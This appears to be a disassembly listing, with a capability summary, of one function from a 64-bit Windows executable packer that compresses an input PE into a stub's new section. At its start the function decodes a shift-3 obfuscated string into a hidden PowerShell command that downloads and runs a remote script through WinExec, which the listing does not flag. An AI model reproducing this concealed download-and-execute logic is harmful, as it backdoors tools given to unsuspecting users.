Function at 0x140001530
Capabilities:
Copy file
Create process on windows
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x390], rax
xor r14d, r14d
lea r11, str.hoo__zlqgrzvwboh_k__dujv_lha_lzu_jlwkxe.frp_xvhu_dwwdfkphqwv_ilohv_17928650_fu_dvp_fubswhu.waw__xvhedvlfsduvlqj_
mov r13d, r14d
mov r15d, r14d
mov r10d, r14d
mov r9d, r14d
mov rdi, rdx
mov esi, ecx
mov r12d, 1
mov r8b, 0x68
nop dword [rax]
lea eax, [r8 - 0x41]
cmp al, 0x19
ja 0x1400015b2
movsx ecx, r8b
add ecx, 0xfffffffd
movzx edx, cl
cmp ecx, 0x41
lea eax, [rdx + 0x1a]
movzx r8d, al
cmovge r8d, edx
jmp 0x1400015d7
lea eax, [r8 - 0x61]
cmp al, 0x19
ja 0x1400015d7
movsx edx, r8b
add edx, 0xfffffffd
movzx r8d, dl
cmp edx, 0x61
lea eax, [r8 + 0x1a]
movzx ecx, al
cmovge ecx, r8d
movzx r8d, cl
mov byte [rbp + r9 + 0x190], r8b
inc r10d
movzx r8d, byte [r9 + r11 + 1]
inc r9
test r8b, r8b
jne 0x140001590
movsxd rax, r10d
lea rcx, [rbp + 0x190]
mov byte [rbp + rax + 0x190], r13b
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], r13b
jne 0x140001610
add eax, 0x26
movsxd rcx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdx, rax
lea rcx, str.powers
sub rdx, rcx
mov rbx, rax
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140001640
lea rcx, [rbx - 1]
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x140001652
mov eax, dword [str.hell.e]
mov dword [rcx], eax
movzx eax, word [0x14000a470]
mov word [rcx + 4], ax
movzx eax, byte [0x14000a472]
mov byte [rcx + 6], al
lea rcx, [rbx - 1]
nop dword [rax]
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x140001680
movups xmm0, xmmword [str.xe__command_start_powersh]
movups xmmword [rcx], xmm0
movsd xmm0, qword [0x14000a488]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [0x14000a490]
mov word [rcx + 0x18], ax
lea rcx, [rbx - 1]
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x1400016b0
lea r8, [rbp + 0x190]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400016d0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rdi]
mov edx, 0x5c
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
test rax, rax
je 0x14000170c
inc rax
jmp 0x14000170f
mov rax, qword [rdi]
cmp esi, 2
jge 0x14000173b
mov rdx, rax
lea rcx, str.___Usage_:__s__Input_x64_exe___Output__n
call fcn.1400013f0
lea rcx, str.___Output_:__n
call fcn.1400013f0
lea rcx, [0x14000a600]
jmp 0x140001ba7
jle 0x14000177a
mov rdx, qword [rdi + 0x10]
cmp byte [rdx], 0x2d
jne 0x14000176e
cmp byte [rdx + 1], 0x65
jne 0x140001752
cmp byte [rdx + 2], r13b
je 0x14000177a
cmp byte [rdx], 0x2d
jne 0x14000176e
cmp byte [rdx + 1], 0x64
jne 0x14000176e
cmp byte [rdx + 2], r13b
jne 0x14000176e
mov ebx, r12d
mov r12d, r14d
mov r13d, ebx
jmp 0x14000177d
lea rcx, str._i____s__Is_Invalid_Input__Defaulting_To_Outputting_Exe_File_...__n
call fcn.1400013f0
mov ebx, r12d
cmp esi, 3
jle 0x1400017a7
mov rdx, qword [rdi + 0x18]
movzx ecx, byte [rdx]
sub ecx, 0x2d
jne 0x1400017a1
movzx ecx, byte [rdx + 1]
sub ecx, 0x68
jne 0x1400017a1
movzx ecx, byte [rdx + 2]
movzx eax, r14b
sub ecx, eax
test ecx, ecx
cmove r15d, ebx
mov rdx, qword [rdi + 8]
lea rcx, str._i__Reading____s___...__n
call fcn.1400013f0
mov rcx, qword [rdi + 8]
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x40], r14d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x14000180c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x14000a498]
lea rcx, str.______s____FAILED____t_d__n
call fcn.1400013f0
jmp 0x140001bac
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov edi, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, edi
xor edx, edx
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001873
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x14000a4a8]
lea rcx, str.______s____FAILED____t_d__n
call fcn.1400013f0
jmp 0x140001bac
mov ebx, dword [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x140001bac
test ebx, ebx
je 0x140001bac
mov rcx, rsi
call fcn.1400014b0
cmp eax, 0x64
jne 0x140001bac
mov rcx, rsi
call fcn.1400014b0
cmp eax, 0x32
je 0x140001ba0
cmp eax, 0x64
jne 0x140001bac
lea rcx, str._i__64_PE_Input_Detected_...___SUPPORTED___n
call fcn.1400013f0
test r13d, r13d
je 0x140001948
lea rcx, str._i__Generating_Dll_Output_...__n
call fcn.1400013f0
movups xmm0, xmmword [str.DllPP64Stub.dll]
lea r9, str.DllPP64Stub.dll
lea r8, str.stublocation_
lea rdx, str._s_s
movaps xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x80]
call fcn.140001450
lea rdx, str..DllPP64Stub.dll
xor r8d, r8d
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x140001a1a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x14000a6c8]
lea rcx, str.______s____FAILED____t_d__n
call fcn.1400013f0
xor eax, eax
jmp 0x140001bb1
test r12d, r12d
je 0x140001a1a
test r15d, r15d
jne 0x1400019b2
lea rcx, str._i__Generating_Exe_Output_...__n
call fcn.1400013f0
mov eax, dword [0x14000a540]
lea r9, str.unpacker.exe
movsd xmm0, qword [str.unpacker.exe]
lea r8, str.stublocation_
mov dword [rsp + 0x78], eax
lea rdx, str._s_s
movzx eax, byte [0x14000a544]
lea rcx, [rbp + 0x80]
mov byte [rsp + 0x7c], al
movsd qword [rsp + 0x70], xmm0
call fcn.140001450
lea rdx, str..unpacker.exe
jmp 0x14000190d
lea rcx, str._i__Generating_No_Console_Exe_Output_...__n
call fcn.1400013f0
mov eax, dword [0x14000a5a0]
lea r9, str.H_PP64Stub.exe
movsd xmm0, qword [str.H_PP64Stub.exe]
lea r8, str.stublocation_
mov dword [rsp + 0x78], eax
lea rdx, str._s_s
movzx eax, word [0x14000a5a4]
lea rcx, [rbp + 0x80]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x14000a5a6]
mov byte [rsp + 0x7e], al
movsd qword [rsp + 0x70], xmm0
call fcn.140001450
lea rdx, str..H_PP64Stub.exe
jmp 0x14000190d
lea rdx, [rsp + 0x70]
lea rcx, str._i__Reading_The_Loader___s__...
call fcn.1400013f0
xor r15d, r15d
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140001bac
lea rcx, str.___DONE____n
call fcn.1400013f0
lea rcx, str._i__Packing_...
call fcn.1400013f0
mov rdi, rbx
call fcn.140002960
mov qword [rsp + 0x38], rbx
mov r9b, 2
mov dword [rsp + 0x30], 1
xor r8d, r8d
mov dword [rsp + 0x28], 0x100000
mov dl, 3
mov rcx, rax
mov byte [rsp + 0x20], 5
mov qword [rsp + 0x40], rax
call fcn.1400029c0
mov ebx, eax
test eax, eax
jne 0x140001b16
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], r15
lea r9, [0x140001070]
mov qword [rsp + 0x28], r15
lea r8, [rsp + 0x48]
lea rdx, section..text
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r15
call fcn.140002a60
mov ebx, eax
test eax, eax
je 0x140001b32
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140001b16
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, [rsp + 0x40]
call fcn.140002a10
mov edx, ebx
lea rcx, str._____Compression_Failed_With_Error_:__d__n
call fcn.1400013f0
xor eax, eax
jmp 0x140001bb1
lea rcx, [rsp + 0x40]
call fcn.140002a10
mov rbx, qword [rsp + 0x60]
lea rcx, str.___DONE____n
call fcn.1400013f0
xor edx, edx
lea rcx, str.___Compressed_Ratio_:__d____n
imul rax, rbx, 0x64
div rdi
mov rdx, rax
call fcn.1400013f0
mov rdx, rbx
lea rcx, str.___Final_Pe_Size_:__d__n
call fcn.1400013f0
mov r8, qword [rsp + 0x58]
mov edx, ebx
mov rcx, r14
call fcn.1400010e0
test eax, eax
jne 0x140001b90
lea rcx, str.____Failed_To_Create_A_New_Section__n
jmp 0x140001ba7
lea rcx, str.___Section_.ATOM_is_Created_Containing_The_Input_Packed_Pe__n
call fcn.1400013f0
xor eax, eax
jmp 0x140001bb1
lea rcx, str._i__32_PE_Input_Detected_...___NOT_SUPPORTED___n
call fcn.1400013f0
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.140001c00
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret